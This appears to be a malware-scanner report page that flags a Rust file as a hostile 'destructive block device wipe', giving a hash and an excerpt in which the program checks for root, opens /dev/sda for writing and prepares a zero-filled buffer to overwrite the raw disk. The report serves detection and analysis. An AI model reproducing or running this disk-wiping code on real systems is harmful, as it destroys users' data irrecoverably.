Hostile ^94% Download

15-linux-open.rs

Destructive block device wipe

Destructive overwrite of a raw block deviceRust OpenOptions opens a block device

SHA-2561416ee64c65e3b4b4dd19967d07bd94fcba6acaf8413498b2c00ad1f6109fca4

Evidence

Rust OpenOptions opens a block device lines 1–20

1use std::fs::OpenOptions;
2use std::io::Write;
3use std::os::unix::fs::OpenOptionsExt;
4
5fn main() {
6    if unsafe { libc::geteuid() } != 0 {
7        return;
8    }
9    let mut f = OpenOptions::new()
10        .write(true)
11        .custom_flags(libc::O_RDWR)
12        .open("/dev/sda")
13        .expect("open");
14    let buf = vec![0u8; 1024 * 1024];
⋯6 lines